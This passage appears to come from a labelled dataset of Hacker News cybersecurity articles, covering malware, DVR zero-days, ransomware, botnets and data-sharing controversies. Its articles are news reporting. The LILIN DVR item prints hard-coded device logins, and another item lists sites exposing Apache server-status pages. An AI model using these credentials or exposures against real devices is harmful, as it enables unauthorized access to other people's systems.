In addition, the Israel Security Agency, Shin Bet and the National Cyber Defense Center -- a part of the Prime Minister's Office, are providing measures to civilian Internet websites on how to defend themselves against the cyber attack.

In April 2013, the Anonymous unit caused $3 Billion worth of damage to Israel, when the group targeted about 30,000 Israeli bank accounts, 100,000 websites, 5,000 Twitter accounts and over 40,000 Facebook pages under #OpIsrael.

During Operation OpIsrael, Anonymous hacking group published the personal data of 5,000 Israeli officials over the Internet, which included names, ID numbers and personal email addresses.

When we talk about the damage caused to Israeli websites, it is a temporary damage caused to the country that could be recovered in few hours or days. However, the damage caused by Israel in the Palestinian territories, including last summer's Gaza conflict, is something that could take years to recover.

",Cyber_Attack
Warning: Malicious version of FTP Software FileZilla stealing users' Credentials,https://thehackernews.com/2014/01/warning-malicious-version-of-ftp.html,"Malware code can be very small, and the impact can be very severe! The Antivirus firm AVAST spotted a malicious version of the open source FTP (File Transfer Protocol) software 'FileZilla' out in the wild.

The software is open source, but has been modified by the hackers that steal users' credentials, offered on various hacked sites for download with banner or text ads.

Once installed, the software's appearance and functionalities are equal to the original version, so a user cannot distinguish between the fake or real one, and the malware version of the "".exe"" file is just slightly smaller than the real one.

""The installed malware FTP client looks like the official version and it is fully functional! You can't find any suspicious behavior, entries in the system registry, communication or changes in application GUI.""

The only difference is that the malware version use 2.46.3-Unicode and the official installer use v2.45-Unicode, as shown:
""We found a hardcoded connection detail stealer after deeper analysis. Malware authors abuse open source code and add their own stealer function to the main code.""

The modified version copies the login information of the user and sends it to a server that is apparently in Germany, and same IP address of the server hosts three other domains, which are also associated with malware and spam activities.
""Login details are sent to attackers from the ongoing FTP connection only once. Malware doesn't search bookmarks or send any other files or saved connections,"" Avast explains.
This malicious version has been compiled way back in September 2012, and is still detected by just a couple of Antivirus solutions. In the past, Cyber Criminals also used Google Adsense to promote malicious software or the modified open source softwares.

Be Careful when downloading the FileZilla FTP client, such malware could also be employed for spreading more malware. Users are recommended to downloaded the softwares from the official website only.

",Malware
Researchers found Apache Server-Status Enabled Security Vulnerability in Popular sites,https://thehackernews.com/2012/10/researchers-found-apache-server-status.html,"Researchers found Apache Server-Status Enabled on some popular site like php.net , cisco, nba.com, Cloudflare, Metacafe, Ford, yellow.com, and others.

For backgorund, there is a Module mod_status in Apache server which allows a server administrator to find out how well their server is performing. A HTML page is presented that gives the current server statistics in an easily readable form.
Basically, mod_status provides information on your apache server activity and performance. The main security risk of using this module is only Information disclosure which includes infomation such as Server uptime, Individual request-response statistics and CPU usage of the working processes, Current HTTP requests, client IP addresses, requested paths, processed virtual hosts. , that could give a potential attacker information about how to attack the web server.

Few popular brands showing their status online, discovered by Daniel Cid from Sucuri:
https://php.net/server-status/
https://cloudflare.com/server-status/ (Fixed now)
https://metacafe.com/server-status/
https://disney.go.com/server-status (Fixed now)
https://www.latimes.com/server-status/
https://www.staples.com/server-status/
https://tweetdeck.com/server-status/ (Fixed now)
https://www.nba.com/server-status/
https://www.ford.com/server-status/

Solution, Don't allow Apache Server mod_status Publicly Accessible and for that administrator need to just do few changes in the configuration file of apache (httpd.conf). Additionally it is recommended to comment out the section from Apache configuration file httpd.conf.

",Vulnerability
Multiple DDoS Botnets Exploited 0-Day Flaws in LILIN DVR Surveillance Systems,https://thehackernews.com/2020/03/ddos-botnets-lilin-dvr.html,"Multiple zero-day vulnerabilities in digital video recorders (DVRs) for surveillance systems manufactured by Taiwan-based LILIN have been exploited by botnet operators to infect and co-opt vulnerable devices into a family of denial-of-service bots.

The findings come from Chinese security firm Qihoo 360's Netlab team, who say different attack groups have been using LILIN DVR zero-day vulnerabilities to spread Chalubo, FBot, and Moobot botnets at least since August 30, 2019.

Netlab researchers said they reached out to LILIN on January 19, 2020, although it wasn't until a month later the vendor released a firmware update (2.0b60_20200207) addressing the vulnerabilities.

The development comes as IoT devices are increasingly being used as an attack surface to launch DDoS attacks and as proxies to engage in various forms of cybercrime.

What Are the LILIN Zero-Days About?

The flaw in itself concerns a chain of vulnerabilities that make use of hard-coded login credentials (root/icatch99 and report/8Jg0SR8K50), potentially granting an attacker the ability to modify a DVR's configuration file and inject backdoor commands when the FTP or NTP server configurations are synchronized.


In a separate scenario, the researchers found that the process responsible for NTP time synchronization (NTPUpdate) doesn't check for special characters in the server passed as input, thus making it possible for attackers to inject and run system commands.

The newly patched version addresses the flaws by validating the hostname so as to prevent command execution.

Enforce Strong Passwords

Netlab said the operators behind Chalubo botnet were the first to exploit the NTPUpdate vulnerability to hijack LILIN DVRs last August. Subsequently, FBot botnet was found using the FTP / NTP flaws earlier this January. Two weeks later, Moobot began spreading through the LILIN 0-day FTP vulnerability.

The researchers said they reached out to LILIN twice, first after the FBot attacks, and then a second time after the Moobot infections happened.

Although Netlab didn't go into specifics of the motives behind the infections, it wouldn't be surprising if they were used by threat actors to perform distributed denial-of-service (DDoS) attacks on websites and DNS services.

""LILIN users should check and update their device firmwares in a timely fashion, and strong login credentials for the device should be enforced,"" Netlab researchers said.


",Malware
DNSChanger Malware : Thousands May Lose Net Access On July 9th July,https://thehackernews.com/2012/07/dnschanger-malware-thousands-may-lose.html,"Thousands May Lose Net Access On July 9th July
The warnings about the Internet problem have been splashed across Facebook and Google. Internet service providers have sent notices, and the FBI set up a special website.

Thousands of Canadians could be among the hundreds of thousands of people around the world who might lose Internet access on July 9.That's the day the FBI will shut down all the ""clean servers"" it set up to combat a massive hacking operation.

Last November the FBI arrested and charged six Estonian men behind the malware as part of Operation Ghost Click. These hackers were able to make a fortune off their project, raking in millions for ads placed on their fraudulent websites.On the eve of the arrests, the FBI hired Paul Vixie, chairman of the Internet Systems Consortium (ISC) to install two temporary Internet servers that would prevent infected users from losing access to the Internet once the DNSChanger botnet was shut down.

DNS (Domain Name System) is a core Internet technology used to convert human readable domain names suchasfacebook.com into an IP address such as 10.181.211.1, which a computer understands.

It's estimated that there is still around 277,00 infections worldwide, despite a massive clean up operation. If you're concerned about your own PC, or family members, then there's a DNS checker website or more information over at the DNS Changer Working Group.

Running the temporary servers for eight months has cost the FBI $87,000. Both Facebook and Google created their own warning messages that showed up if someone using either site appeared to have an infected computer. Facebook users would get a message that says, ""Your computer or network might be infected,"" along with a link that users can click for more information.Google users got a similar message, displayed at the top of a Google search results page. It also provides information on correcting the problem.

Ensure that the DNS Servers are not within the following range of Internet Protocols (IPs):
- 85.255.112.0 through 85.255.127.255
- 67.210.0.0 through 67.210.15.255
- 93.188.160.0 through 93.188.167.255
- 77.67.83.0 through 77.67.83.255
- 213.109.64.0 through 213.109.79.255
- 64.28.176.0 through 64.28.191.255

If DNSChanger is detected, users may use software from McAfee, Kaspersky Labs, Microsoft, Norton, or Trend Micro to clean the infection.

",Malware
Kaseya Supply-Chain Attack Hits Nearly 40 Service Providers With REvil Ransomware,https://thehackernews.com/2021/07/kaseya-revil-ransomware-attack.html,"Threat actors behind the notorious REvil cybercrime operation appear to have pushed ransomware via an update for Kaseya's IT management software, hitting around 40 customers worldwide, in what's an instance of a widespread supply-chain ransomware attack.
""Beginning around mid-day (EST/US) on Friday, July 2, 2021, Kaseya's Incident Response team learned of a potential security incident involving our VSA software,"" the company's CEO Fred Voccola said in a statement shared late Friday.
Following the incident, the IT and security management services company said it took immediate steps to shut down its SaaS servers as a precautionary measure, in addition to notifying its on-premises customers to shut down their VSA servers to prevent them from being compromised.
Voccola also said the company has identified the source of the vulnerability and that it's readying a patch to mitigate the ongoing issues. In the interim, the company also noted it intends to keep all on-premise VSA servers, SaaS, and hosted VSA servers shut down until it's safe to resume operations.
According to Sophos Malware Analyst Mark Loman, the industry-wide supply-chain attack leverages Kaseya VSA to deploy a variant of the REvil ransomware into a victim's environment, with the malicious binary side-loaded via a fake Windows Defender app to encrypt files in return for a ransom demand of $5 million.
The attack chain also involves attempts to disable Microsoft Defender Real-Time Monitoring via PowerShell, Loman added. The trojanized software is being distributed in the form of a ""Kaseya VSA Agent Hot-fix,"" Huntress Labs said in a Reddit post detailing the workings of the breach.
The researchers noted they had found eight managed service providers (MSPs), companies that provide IT services to other companies, that had been hit by the attack. About 200 businesses that are served by these MSPs have been locked out of parts of their network, Huntress Labs said.
As the ransomware crisis continues to spiral, MSPs have emerged as a lucrative target, mainly because a successful break-in opens up access to multiple clients, rendering them all vulnerable. With supply chain attacks becoming frequent in the wake of the sprawling SolarWinds campaign, a supply chain attack that targets MSPs to distribute ransomware has exponential consequences, enabling bad actors to strike hundreds of victims at once.
Update: In a revised advisory shared on Saturday, Kaseya said it had been the ""victim of a sophisticated cyberattack,"" while warning customers to refrain from clicking on any links sent in communications with the ransomware operators. ""They may be weaponized,"" the company cautioned.
Besides roping in cybersecurity firm FireEye Mandiant to identify the indicators of compromise (IoCs), the company is recommending businesses to keep all on-premises VSA servers offline until further notice and use a Compromise Detection Tool that it has made available to commence the recovery process.
Huntress Labs said it's tracking close to 30 MSPs across the U.S., Australia, European Union, EU, and Latin America, where Kaseya VSA was used to encrypt new fewer than 1,000 businesses.
""All of these VSA servers are on-premises and Huntress assesses with high confidence that cybercriminals exploited a vulnerability to gain access into these servers,"" Huntress Labs researcher John Hammond said.
This raises the possibility that REvil used a zero-day flaw in Kaseya VSA software to gain access to the systems, making it the first time a ransomware group has used a zero-day in attacks. Kaseya, for its part, noted that it had isolated and replicated the attack vector, and that it's working towards adding software remediations to address the security weakness.

",Malware
Dell's Laptops are Infected with 'Superfish-Like' pre-installed Malware,https://thehackernews.com/2015/11/superfish-malware-dell.html,"Similar to the Superfish malware that surrounded Lenovo laptops in February, another big computer manufacturer Dell spotted selling PCs and laptops pre-installed with a rogue SSL certificate that could allow attackers:

To impersonate as any HTTPS-protected website and spy on when banking or shopping online.
The rogue certificate, dubbed eDellRoot, was first discovered over the weekend by a software programmer named Joe Nord. The certificate is so creepy that it automatically re-installs itself even when removed from the Windows operating system.

Also Read: Lenovo Caught Using Rootkit to Secretly Install Unremovable Software

Superfish 2.0: Unkillable Zombie

The self-signed transport layer security (TLS) credential came pre-installed as a root certificate on Dell PCs and laptops that are signed with the same private cryptographic key, which is stored locally.

That means an attacker with moderate technical skills can extract the key and abuse it to sign forged version of TLS certificates for any HTTPS-protected site on the Internet, exposing users to all manner of SSL attacks.

The certificate key can be used to conduct man-in-the-middle (MITM) attacks on Dell owners, silently stealing user names, passwords, session cookies, and other sensitive information when the affected Dell machines are connected to a malicious Wi-Fi hotspots in cafes, hospitals or airports.

The problem is similar to the scandal that hit Lenovo in February when the PC manufacturer was caught pre-installing an invasive adware program called Superfish with a similar self-signed cert to inject third-party advertisements into websites on browsers.

Must Read: Automatic Superfish Removal Tool

Although Dell's case is different as there is no indication that the certificate is being used to inject advertisements on the laptops, the resulting security issue is the same.

Affected PCs and Laptops

The self-signed certificate key was discovered to be pre-installed as a root certificate on at least three Dell laptop models:
Dell Inspiron 5000 series notebook
Dell XPS 15
Dell XPS 13
This indicates that the dangerous certificate may be present on a significant number of the Dell desktops and laptops currently on the market, specifically recent Dell Inspiron Desktop, XPS, and Precision M4800 and Latitude models.

To Check if Your Computer is Vulnerable

To discover the dangerous certificate:
Open up the Start menu
Select Run
Type in certmgr.msc – the Windows certificate manager – into the box and Hit Enter
Open up the Trusted Root Certification Authority folder on the left
Select Certificates
Search for eDellRoot
Once found, right-click over eDellRoot and hit ""Remove."" It appears to be gone, but actually it's not.

Reboot your computer and reopen certmgr.msc and search for the certificate ""eDellRoot"". Yeah, the removed root CA cert is back.

What Should You do? How to Remove?

It seems that even if the certificate is clearly fraudulent, Google Chrome and Microsoft Edge and Internet Explorer browsers always establish an encrypted Web session with no warnings.

But fortunately, Mozilla's Firefox web browser generates an alert warning that the certificate was not trusted.

So, Dell customers with new XPS, Precision, and Inspiron models are advised to use Firefox to browse the web.

To fix the issue completely, Dell users will need to manually revoke the certificate permissions, which is a complex and technically demanding task.

Moreover, security researcher Darren Kemp from Duo Security says that the problem may be even worse than what Nord suggested.

According to an analysis done by Kempa, a bundled plugin re-installs the root CA file when it is removed. So, to remove the eDellRoot certificate completely, you must:
First delete Dell.Foundation.Agent.Plugins.eDell.dll from your system
Then remove the eDellRoot root CA certificate

Dell's Response

In a statement, a Dell spokesperson said the company is investigating the report and looking into the certificate, but emphasized the company's policy of minimizing pre-loaded software for security reasons.
""Customer security and privacy is a top concern for Dell,"" the spokesperson said. ""We've a team investigating the current [issue] and will update you as soon as we have more information.""

",Malware
Nasty Covert Redirect Vulnerability found in OAuth and OpenID,https://thehackernews.com/2014/05/nasty-covert-redirect-vulnerability.html,"After Heartbleed bug, a security flaw in widely used open-source software OpenSSL that puts countless websites at risk, another vulnerability has been found in popular authentication software OpenID and authorization software OAuth.

Wang Jing, a Chinese mathematics Ph.D student at the Nanyang Technological University in Singapore, found that the OAuth and OpenID open source login tools are vulnerable to the ""Covert Redirect"" exploit.

The login tools 'OAuth' and 'OpenID' protocols are the commonly used open standard for authorization. OAuth designed as a way for users to sign in or sign up for other services using an existing identity of a site such as Google, Facebook, Microsoft or Twitter, whereas OpenID is a decentralized authentication system for the Internet that allows users to log in at websites across the internet with same digital identity.

The Covert Redirect vulnerability could affect those who use 'OAuth' and 'OpenID' protocols to 'login' to the websites such as Facebook, Google, Yahoo, LinkedIn, Microsoft, VK, Mail.Ru, PayPal, GitHub and many others.

WHAT MAKES IT EVEN MORE DANGEROUS?
The ""Covert Redirect"" flaw masquerade as a login popup from the affected sites that could allow an attacker to steal personal data from users and redirect them to a website of the attacker's choice, which could potentially further compromise the victim.

By clicking on a malicious phishing link will get a popup window in Facebook, asking them to authorize the app and to hoax the user into giving up their information instead on legitimate websites, the Covert Redirect flaw uses the real site address for authentication.

Once the user login, the attacker could get the personal data, which in the case of Facebook, could include the email address, birth date, contacts, work history, etc.

But, if in case ""the token"" has greater privilege, the attacker could obtain more sensitive information including the mailbox, friends list, online presence and most possibly even operate and control the user's account.
In a blog post yesterday Jing explained, for OAuth 2.0, the attacks could risk ""the token"" of the site users and whenever users authorize the login the attacker could then use that to access users' private information. In case of OpenID, the attacker could get users' information directly, as it's immediately transferred from the provider upon request.

However, this isn't the first time the issue has been raised and the root cause is a lack of token whitelisting in OAuth 2.0.

RESPONSE FROM INTERNET GIANTS
Facebook uses OAuth and something similar to OpenID. When he reported the Facebook about the vulnerability, Facebook said ""they understand the risks associated with OAuth 2.0. However, short of forcing every single application on the platform to use a whitelist, [fixing the vulnerability] isn't something that can be accomplished in the short term.""

Facebook isn't the only site affected, Jing reported the vulnerability to some more companies who use both OAuth and OpenID including Google, LinkedIn, Microsoft and Yahoo to discuss the problem.

Google uses OpenID and told Jing, ""they are aware of the problem and are tracking it at the moment,"" whereas LinkedIn told they have acknowledged the problem back in march and ""published a blog post on how [they] intend to address [the problem].""

Microsoft replied after they investigated the matter and concluded that the vulnerability exists in the domain of a third-party which is different from the one Jing reported and recommended him to report the issue to the third-party instead.

Yahoo did not reply months after he reported.

""They have little incentive to fix the problem,"" Jing wrote regarding the companies, ""One concern is the cost and the other is that in their view, the host company is responsible for making the attacks appear more credible; therefore, it is not solely their problem.""

HOW TO FIX COVERT REDIRECT VULNERABILITY
According to Jing, there is no speedy fix for the vulnerability. ""In the real world, a large number of third-party applications do not do this due to various reasons. This makes the systems based on OAuth 2.0 or OpenID highly vulnerable,"" Jing wrote.

Wang believes it's unlikely that this flaw will be patched any time soon. He says neither the authentication companies such as Google, Microsoft, Facebook, nor the client companies are taking responsibility for fixing the issue.

However, to take advantage of Covert redirect vulnerability, it requires interaction from users i.e. Victim has to click on a link or visit a malicious website, and then they have to click on a Facebook login button and agree to authorize the login and release of information.

So far, the security experts hasn't labelled this vulnerability as a major security flaw as Heartbleed, but still it's a threat.

",Vulnerability
Netflix Users Targeted by Microsoft Silverlight Exploits,https://thehackernews.com/2014/05/netflix-users-targeted-by-microsoft.html,"Netflix, the world's largest Internet Video Subscription service with more than 35.7 million customers in U.S alone, that runs on the Microsoft Silverlight platform, has now become a popular target for cybercriminals, as public awareness of Java and Flash flaws is increasing.

Silverlight is a Microsoft's plug-in for streaming media on browsers, similar to Adobe Flash Player, that handles multimedia contents on Microsoft Windows and Mac OS X Web Browsers, and is popularly known for being used in Netflix's streaming video service.

But, Netflix isn't the only service that works on Silverlight, many other multimedia services supports Silverlight.

Malware and Exploit Kit developers are targeting Silverlight users as they aren't aware of the increasing proliferation of malware for the platform. Silverlight vulnerabilities are mostly exploited using drive-by download attacks to compromise victim's computers with malware, especially through malicious ads.

A recent Angler Exploit Campaign has been spotted by the Cisco researcher spiked since April 23, targeting Microsoft's Silverlight by imposing the exploits on the infected systems. The Exploit Kit in this campaign also hosts exploits for Flash and Java, but it doesn't trigger them, which at a time was one of the widely targeted platform by the exploit kits developers.

""Exploit kit owners are adding Silverlight to their update releases, and since 23 April we have observed substantial traffic - often from malvertising - being driven to Angler instances partially using Silverlight exploits,"" said Gundert, the lead threat researcher at Cisco.

The cyber criminals are infiltrating the Advertising Networks with malvertising to redirect victims to the hundreds of malicious websites hosting the Angler Exploit Kit, where the actual attack comes into play by silently launching Silverlight exploits against the infected system.
Till now, The Exploit Kit (EK) developers were targeting the vulnerabilities in Adobe Flash and Oracle Java, but as the public awareness and pathing efforts of both the two firms has increased, the malware developers have switched to the Microsoft's Silverlight.

""Java and Flash have been heavily exploited over the years, and vendors are getting good at writing engines that detect vulnerabilities in those libraries,"" said the Cisco researcher Craig Williams. ""Silverlight has not been exploited much. There are some limited CVEs, but few are widespread. What we may be seeing here is a tipping point where Java exploits are being detected and what other formats can hackers take advantage of.""
Levi Gundert , Technical lead at Cisco Threat Research observed that the Angler campaign exploits two known Silverlight vulnerabilities i.e.
CVE-2013-0074 - which gives attackers the ability to remotely execute malicious code
CVE-2013-3896 - it allows to bypass Data Execution Prevention (DEP), a security mitigation added to most Microsoft applications.
""We should expect these existing Silverlight exploits to proliferate through other exploit pack families in the near future as threat actors copy code from each other and release updates,"" Gundert wrote.
""Silverlight exploits are also ideal because Silverlight continues to gain rich Internet application market share, perhaps surpassing Java, and Microsoft's life cycle schedule suggests Silverlight 5 will be supported through October, 2021.""
The security firm didn't expose the names of compromised websites serving the exploit kit. The Angler exploit kit managers were expected to be of the same group that was behind the infamous Reveton ransomware.

",Vulnerability
Three Hackers Plead Guilty to Creating IoT-based Mirai DDoS Botnet,https://thehackernews.com/2017/12/hacker-ddos-mirai-botnet.html,"The U.S. federal officials have arrested three hackers who have pleaded guilty to computer-crimes charges for creating and distributing Mirai botnet that crippled some of the world's biggest and most popular websites by launching the massive DDoS attacks last year.

According to the federal court documents unsealed Tuesday, Paras Jha (21-year-old from New Jersey), Josiah White (20-year-old Washington) and Dalton Norman (21-year-old from Louisiana) were indicted by an Alaska court last week on multiple charges for their role in massive cyber attacks conducted using Mirai botnet.

Mirai is a piece of nasty IoT malware that scans for insecure routers, cameras, DVRs, and other Internet of Things devices which are still using their default passwords and then add them into a botnet network, which is then used to launch DDoS attacks on websites and Internet infrastructure.

According to his plea agreement, Jha ""conspired to conduct DDoS attacks against websites and web hosting companies located in the United States and abroad"" by ensnaring over 300,000 IoT devices. He also demanded payment ""in exchange for halting the attack.""

Between September and October 2016, Jha advertised Mirai botnet on multiple dark web forums using the online monikers ""Anna Senpai."" He also admitted to securely wiping off the virtual machine used to run Mirai on his device and then posting the source code of Mirai online for free.

Since then, other cybercriminals have used the open-source code of the botnet to create their own Mirai variants in a variety of different cyber attacks against their targets.

Paras Jha (a.k.a Anna Senpai) and his business partner Josiah White (a.k.a Lightspeed and thegenius) are the same people who were outed by blogger Brian Krebs earlier this year after his blog was also knocked offline by a massive 620 Gbps of DDoS attack using Mirai botnet.
According to Jha's LinkedIn profile, he is a 21-year-old passionate programmer from Fanwood, U.S., who knows how to code in multiple programming languages and is positioned as president of a DDoS mitigation firm, ProTraf Solutions.

White admitted to creating the Mirai botnet's scanner to identify and hijack vulnerable internet-connected devices to enlist in the botnet, while Norman (a.k.a Drake) admitted to identifying private zero-day vulnerabilities and exploits to build into the massive botnet.

From December 2016 to February 2017, the trio successfully infected more than 100,000 computing devices to form another powerful botnet, called Clickfraud, which was designed to scam online ad networks by simulating clicks on ads for the purpose of artificially generating revenue.

A week after the massive DDoS attack, the source code of Mirai was released on the widely used hacker chat forum Hackforums by Jha who, under the name Anna-senpai, wrote he had ""made their money...so it's time to GTFO.""
""So today, I have an amazing release for you,"" he wrote. ""With Mirai, I usually pull max 380k bots from telnet alone. However, after the Kreb [sic] DDoS, ISPs been slowly shutting down and cleaning up their act. Today, max pull is about 300k bots, and dropping.""
Once Mirai source code was out, various cyber criminals started exploiting the IoT malware to launch powerful DDoS attacks against websites and Internet infrastructure, one of which was the popular DNS provider Dyn, which was DDoSed by a botnet of an around 100,000 Mirai malware-infected devices.

""The defendants' involvement with the original Mirai variant ended in the fall of 2016, when Jha posted the source code for Mirai on a criminal forum. Since then, other criminal actors have used Mirai variants in a variety of other attacks."" DOJ said in a press release.

The trio faces a sentence of up to five years in prison.

This article has been updated to add comments from and information provided by the U.S. Justice of Department about the three defendants.

",Malware
This Ransomware Malware Could Poison Your Water Supply If Not Paid,https://thehackernews.com/2017/02/scary-scada-ransomware.html,"Ransomware has been around for a few years, but in last two years, it has become an albatross around everyone's neck, targeting businesses, hospitals, financial institutions and personal computers worldwide and extorting millions of dollars.

Ransomware is a type of malware that infects computers and encrypts their content with strong encryption algorithms, and then demands a ransom to decrypt that data.

It turned out to be a noxious game of Hackers to get paid effortlessly.

Initially, ransomware used to target regular internet users, but in past few months, we have already seen the threat targeting enterprises, educational facilities, and hospitals, hotels, and other businesses.

And now, the threat has gone Worse!

This PoC Ransomware Could Poison Water Supply!
Researchers at the Georgia Institute of Technology (GIT) have demonstrated the capability of ransomware to take down the critical infrastructure our cities need to operate, causing havoc among people.

GIT researchers created a proof-of-concept ransomware that, in a simulated environment, was able to gain control of a water treatment plant and threaten to shut off the entire water supply or poison the city's water by increasing the amount of chlorine in it.

Dubbed LogicLocker, the ransomware, presented at the 2017 RSA Conference in San Francisco, allowed researchers to alter Programmable Logic Controllers (PLCs) — the tiny computers that control critical Industrial Control Systems (ICS) and Supervisory Control and Data Acquisition (SCADA) infrastructure, like power plants or water treatment facilities.

This, in turn, gave them the ability to shut valves, control the amount of chlorine in the water, and display false readouts.

Sounds scary, Right?

Fortunately, this has not happened yet, but researchers say this is only a matter of time.

The simulated attack by researchers was created to highlight how attackers could disrupt vital services which cater to our critical needs, like water management utilities, energy providers, escalator controllers, HVAC (heating, ventilation and air conditioning) systems, and other mechanical systems.

Over 1500 PLC Systems Open To Ransomware Attack
LogicLocker targets three types of PLCs that are exposed online and infects them to reprogram the tiny computer with a new password, locking the legitimate owners out and demanding ransom while holding the utility hostage.

If the owners pay, they get their control over the PLC back. But if not, the hackers could malfunction water plant, or worse, dump life-threatening amounts of chlorine in water supplies that could potentially poison entire cities.

GIT researchers searched the internet for the two models of PLCs that they targeted during their experiment and found more than 1,500 PLCs that were exposed online.
""There are common misconceptions about what is connected to the internet,"" says researcher David Formby. ""Operators may believe their systems are air-gapped and that there's no way to access the controllers, but these systems are often connected in some way.""
Targeting industrial control and SCADA systems is not new, cybercriminals and nation-state actors are doing this for years, with programs like Stuxnet, Flame, and Duqu, but ransomware will soon add a financial element to these type of cyber attacks.

Therefore, it is inevitable that money-motivated criminals will soon target critical infrastructure directly. Additionally, the nation-state actors could also hide their intentions under ransomware operators.

So, it is high time for industrial control systems and SCADA operators to start adopting standard security practices like changing the PLCs default passwords, limiting their connections by placing them behind a firewall, scanning their networks for potential threats, and install intrusion monitoring systems.

",Malware
Mystery of Duqu Programming Language Solved,https://thehackernews.com/2012/03/mystery-of-duqu-programming-language.html,"Mystery of Duqu Programming Language Solved

An appeal for help from the programming community has allowed antivirus analysts to classify the unknown language used to develop key components of the Duqu Trojan. The sections responsible for downloading and executing additional modules in the Duqu Trojan, referred to by some as Stuxnet 2.0, were written in standard C++.

Kaspersky Lab experts now say with a high degree of certainty that the Duqu framework was written using a custom object-oriented extension to C, generally called ""OO C"" and compiled with Microsoft Visual Studio Compiler 2008 (MSVC 2008) with special options for optimizing code size and inline expansion.

Kaspersky's Igor Soumenkov wrote, ""No matter which of these two variants is true, the implications are impressive. The Payload DLL contains 95 Kbytes of event-driven code written with OO C, a language that has no automatic memory management or safe pointers,"".

Kaspersky's analysis now concludes:
The Duqu Framework consists of ""C"" code compiled with MSVC 2008 using the special options ""/O1″ and ""/Ob1″
The code was most likely written with a custom extension to C, generally called ""OO C""
The event-driven architecture was developed as a part of the Duqu Framework or its OO C extension
The C&C code could have been reused from an already existing software project and integrated into the Duqu Trojan
The Duqu Framework may have been created by a different programming team, since it is unique to Duqu, unlike many parts of Duqu that seem to be directly borrowed from Stuxnet. It's believed that the developers are old school that don't trust C++ and that's probably why they relied on C. Another reason for using OO C is because back in the good old days it was more portable than C++.

Knowing the techniques used to develop the malware allows Kaspersky's researchers to make better guesses about who might be behind the code. Creating Duqu was a major project, so it's possible that an entirely different team was responsible for creating the Duqu Framework, while others worked on creating drivers and system infection exploits. In this scenario it's even possible that those who created the Duqu framework were ignorant of the real purpose of their work.

Duqu was first detected in September 2011, but Kaspersky Lab believes it has seen the first pieces of Duqu-related malware dating back to August 2007. The Russian security firm also notes Duqu, like Stuxnet before it, is highly targeted and related to Iran's nuclear program.

",Malware
Facebook Accused of Giving Over 60 Device-Makers Deep Access to User Data,https://thehackernews.com/2018/06/facebook-data-privacy.html,"After being embroiled into controversies over its data sharing practices, it turns out that Facebook had granted inappropriate access to its users' data to more than 60 device makers, including Amazon, Apple, Microsoft, Blackberry, and Samsung.

According to a lengthy report published by The New York Times, the social network giant struck data-sharing partnerships with at least 60 device manufacture companies so that they could offer Facebook messaging functions, ""Like"" buttons, address books, and other features without requiring their users to install a separate app.

The agreements were reportedly made over the last 10 years, starting before Facebook apps were widely available on smartphones.

Most notably, the publication suggests that the partnerships could be in breach of a 2011 consent decree by the Federal Trade Commission (FTC), which barred Facebook from granting other companies access to data of users' Facebook friends without their explicit consent.

During the Cambridge Analytica scandal revealed in March this year, Facebook stated that it already ceased allowing such third-party access in 2015 only, but the publication suggests that this does not include ""makers of cellphones, tablets and other hardware.""

Facebook is under heavy fire since the revelation that consultancy firm Cambridge Analytica had misused data of 87 million Facebook users to help Donald Trump win the US presidency in 2016.

In a recent test conducted by an NYT reporter on a 2013 Blackberry device using his Facebook account with roughly 550 friends, a BlackBerry app called ""The Hub"" was still able to harvest private data from 556 of his friends, including their religious and political views.

Not only that, but The Hub was also able to acquire ""identifying information"" for up to 294,258 friends of his Facebook friends.

Here's What Facebook Has to Say About this:
Facebook, who said in front of Congress in March that ""every piece of content that you share on Facebook you own. You have complete control over who sees it and how you share it,"" responded to the NYT report later Sunday in a blog post entitled ""Why We Disagree with The New York Times.""

In the post, Facebook said the company created the APIs for Amazon, Apple, Blackberry, HTC, Microsoft, Samsung and other device makers so that they could provide Facebook features on their operating systems at a time when there were no apps or app stores.

The post, written by VP of Product Partnerships Ime Archibong, said the data agreements with the device makers were a necessity:
""In the early days of mobile, the demand for Facebook outpaced our ability to build versions of the product that worked on every phone or operating system. It's hard to remember now, but back then there were no app stores.""
""So companies like Facebook, Google, Twitter and YouTube had to work directly with operating system and device manufacturers to get their products into people's hands. This took a lot of time—and Facebook was not able to get to everyone.""
""To bridge this gap, we built a set of device-integrated APIs that allowed companies to recreate Facebook-like experiences for their individual devices or operating systems. Over the last decade, around 60 companies have used them—including many household names such as Amazon, Apple, Blackberry, HTC, Microsoft, and Samsung.""
The post further said that Facebook controlled these APIs tightly and that its partners signed agreements that prevented Facebook users' information from being used for anything other than to ""recreate Facebook-like experience.""

""Partners could not integrate the user's Facebook features with their devices without the user's permission. And our partnership and engineering teams approved the Facebook experiences these companies built,"" the post reads.

""Contrary to claims by the New York Times, friends' information, like photos, was only accessible on devices when people made a decision to share their information with those friends. We are not aware of any abuse by these companies.""

Due to the popularity of iOS and Android few people rely on these APIs to create bespoke Facebook experiences, which is why the social network giant began ""winding down"" the partnerships in April, and so far ended 22 of these partnerships.

",Data_Breaches
Your Android Phone Can Get Hacked Just By Playing This Video,https://thehackernews.com/2019/07/android-media-framework-hack.html,"Are you using an Android device?

Beware! You should be more careful while playing a video on your smartphone—downloaded anywhere from the Internet or received through email.

That's because, a specially crafted innocuous-looking video file can compromise your Android smartphone—thanks to a critical remote code execution vulnerability that affects over 1 billion devices running Android OS between version 7.0 and 9.0 (Nougat, Oreo, or Pie).

The critical RCE vulnerability (CVE-2019-2107) in question resides in the Android media framework, which if exploited, could allow a remote attacker to execute arbitrary code on a targeted device.

To gain full control of the device, all an attacker needs to do is tricking the user into playing a specially crafted video file with Android's native video player application.

Though Google already released a patch earlier this month to address this vulnerability, apparently millions of Android devices are still waiting for the latest Android security update that needs to be delivered by their respective device manufacturers.

""The most severe vulnerability in this section [media framework] could enable a remote attacker using a specially crafted file to execute arbitrary code within the context of a privileged process,"" Google described the vulnerability in its July Android Security Bulletin.
What makes the issue more worrisome is that Germany-based Android developer Marcin Kozlowski has uploaded a proof-of-concept for this attack on Github.

Although the PoC shared by Kozlowski, an HEVC encoded video, only crashes the media player, it can help potential attackers develop their exploits to achieve RCE on targeted devices.

However, it should be noted that if such malicious videos are received through an instant messaging app like WhatsApp or Facebook Messenger or uploaded on a service like YouTube or Twitter, the attack won't work.

That's because these services usually compress videos and re-encode media files which distorts the embedded-malicious code.

The best way to protect yourself from this attack is to make sure you update your mobile operating system as soon as the latest patch becomes available.

Meanwhile, you are recommended to avoid downloading and playing random videos from untrusted sources and follow basic security and privacy practices.

",Malware
